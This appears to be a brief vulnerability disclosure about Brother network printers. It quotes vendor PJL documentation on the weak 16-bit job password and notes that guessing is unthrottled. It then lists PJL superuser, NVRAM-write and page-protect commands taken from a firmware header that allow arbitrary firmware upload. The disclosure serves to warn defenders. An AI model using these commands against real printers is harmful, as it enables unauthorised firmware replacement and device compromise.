Tested on Brother HL5370 latest firmware so far, confirmed working against many others by Brother documentation

>From Brother .de website -

http://qr.cx/zCt9

Syntax for PJL JOB command includes -

"PASSWORD = password ( HL-1660e/2060/2400C/2400Ce/3400CN/1650/1670N/3260N/2460/7050/ 
1850/1870N/5040/5050/5070N/5140/5150D/5170DN/2600CN/2700CN/3450CN/6050/6050D/6050DN/805
0N only ) 
When the password is set by the DEFAULT command, modifying the NVRAM by using the DEFAULT or 
INITIALIZE commands is locked with the password. Sending the correct password with this command can 
unlock this until the EOJ command is executed. 
password = 0 to 65,535 Default value = 0 
When the printer receives the JOB command, the UEL command is not recognized as a job boundary until 
an EOJ command is received."

Guessing 16-bit password is very fast, and printer does not or can not? slow down password guessing. Worse, password is easily found or not necessary. from printer ROM "image" header -

12345X@PJL SUPERUSER PASSWORD=[any 16-bit sign value]
@PJL DEFAULT LANGSELECT=1
@PJL SUPERUSEROFF
@PJL SUPERUSER PASSWORD=[any 16-bit sign value]
@PJL WNVRAMBIT ADDRESS=288161793 DATA=1
@PJL SUPERUSEROFF
@PJL SET PAGEPROTECT=OFF
@PJL ENTER LANGUAGE=PCL
--> binary begins here

Have not tested past uploading arbitrary firm ware. This should be enough to worry. Probably no point to Brother network controller supporting https and snmp 3 now...

Brother snmp 3 support only short keys any way.